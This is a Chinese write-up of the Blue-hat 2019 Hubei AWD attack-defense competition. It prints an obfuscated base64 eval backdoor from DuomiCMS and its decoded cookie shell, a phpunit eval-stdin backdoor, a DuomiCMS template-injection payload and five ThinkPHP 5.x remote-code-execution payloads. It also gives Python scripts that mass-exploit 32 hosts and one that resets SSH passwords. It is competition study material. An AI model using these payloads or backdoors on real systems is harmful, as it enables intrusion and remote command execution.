Blue-hat-2019湖北赛区WP

摘要

这次比赛有两道web,部署在同一台机子中,网站根目录分别存储有 web1 , web2 两个网站源码,外部端口分别对应 80 , 81 两个端口。获取 flag 的方式为 curl http://192.168.100.1/Getkey

前期据说别的赛区出现弱口令密码,需准备好弱口令修改密码自动脚本,这里自己写了一个简陋的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- coding:utf-8 -*-
import paramiko
import time
ips = []
ip = ''
for i in range(1,33):
ip = '4.4.%d.100'%i
ips.append(ip)

log_file=open('mpwdok.log','a+')
log_file1=open('mpwderr.log','a+')
# curl http://192.168.100.1/Getkey
# >/dev/null 2>&1 &
for ip in ip_list:
try:
s = paramiko.Transport((ip, 22))
# old_password_connect
s.connect(username='user', password='123456')
chan = s.open_session()
chan.get_pty()
chan.invoke_shell()
chan.send('sudo passwd user\n')
time.sleep(1)
# new_password_edit
chan.send('new_password\n')
time.sleep(1)
# new_password_edit
chan.send('new_password\n')
time.sleep(1)
log_file.write("\n"+ip+"\n=================================================================\n")
log_file.write(chan.recv(1024))
log_file.write("\n=================================================================")
print ip + "edit success"
except Exception,err:
log_file1.write("ERR:unable to connect %s:%s\n" %(ip,err))

索性没用上,进入主题,看题目。

web1

duomi-cms

打包下来进行源码扫描后发现

mobile/.index.php 存在 eval 后门

源码如下

1
2
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); 
?>

echo 一下 eval 中的内容发现是这一串东西

1
//if(isset($_COOKIE['cm'])){ob_start();system(base64_decode($_COOKIE['cm']).' 2>&1');setcookie($_COOKIE['cn'],$_COOKIE['cp'].base64_encode(ob_get_contents()).$_COOKIE['cp']);ob_end_clean();}

cookie 存在一个后门,

1
2
➜  blue-hat echo "cat /flag"| base64
Y2F0IC9mbGFnCg==

1
2
➜  blue-hat echo "ZmxhZ3toZWxsb193b3JsZCF9Cg" | base64 --decode
flag{hello_world!}%

附脚本

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding:utf-8 -*-
import requests
import time
import base64
ips = []
ip = ''
for i in range(1,33):
ip = 'http://4.4.%d.100/mobile/.index.php'%i
ips.append(ip)
cookie = {'_ga':'GA1.1.916666987.1559659316','PHPSESSID':'fp2euo5vmnude78diq3gace8n4','ishistory':'1','__tins__18779617':'%7B%22sid%22%3A%201561000146802%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201561001946802%7D','__51cke__':'',' __51laig__':'1','cm':'Y2F0IC9mbGFnCg=='}
for url in ips:
print base64.b64decode(requests.get(url,cookies=cookie).headers['Set-Cookie'][1:].replace('%3D','='))

赛后复现参考

DuomiCMS3.0最新版漏洞挖掘

发现是一个前台 getshell 漏洞,在 duomiphp\core.class.php 文件中使用了 eval 函数,关键在于 parseIf 方法

这里在 search.php 构造 payload

1
search.php?searchword={if:phpinfo()}phpinfo(){end

Web2

拉下源码发现后门

1
2
3
4
///var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
<?php

eval('?>' . file_get_contents('php://input'));

直接构造 payload

然后写通打脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
ips = []
ip = ''
for i in range(1,33):
ip = 'http://4.4.%d.100/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php'%i
ips.append(ip)
payload = "<?php system(\"cat /flag\");"
for url in ips:
try:
res = requests.post(url=url,data=payload)
if res.status_code ==200:
print url
print res.text
except:
pass

拉下来源码后迅速审计 cve ,发现是一个 thinkphp5.* 的任意代码执行漏洞

附上几个 poc

1
2
3
4
5
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com
?s=index/\think\Request/input&filter=system&data=echo%20www_admintony_com
?s=index/\think\view\driver\Php/display&content=%3C?php%20echo%20www_admintony_com;?%3E
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20echo%20\"www_admintony_com\";?%3E

发现第四个 payload 返回如下

这里 payload 释义解释一下

1
2
3
4
5
6
7
8
9
10

index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1

index是对应的模块,处于application文件夹中

\think\Container 以反斜线开头,这就是我们想要实例化的类

invokefunction是想\think\Container类想要调用的方法,

function=call_user_func&vars[0]=phpinfo&vars[1]=1是对应invokefunction的参数。

那么我们查看 application 目录下模块

可以看到这里有 admin , api , behavior , shop , wap 五个模块

没有之前收集 payload 中的 index 模块,更改模块名为以上任意一个后执行成功。

然后写通打脚本

1
2
3
4
5
6
7
8
9
import requests
payload = "api/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl http://192.168.100.1/Getkey"
ips = []
ip = ''
for i in range(1,33):
ip = 'http://4.4.%d.100/?s='%i
ips.append(ip)
for url in ips:
print requests.get(url+payload).content

利用这个洞苟到了最后,也可以写个假流量进行混打,干扰别人抓流量的速度。

总结

awd线下手速一定要练好,备份源码和数据库,更改后台密码,删除后门。然后在这个基础上做好正常的防御流程,上 waflog 监控。再进行源码审计,对比本地搜集的 cve 和源码,尽快复现。

参考链接

ThinkPHP5 远程命令执行漏洞分析

ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析

DuomiCMS3.0最新版漏洞挖掘

-------------本文结束 感谢阅读-------------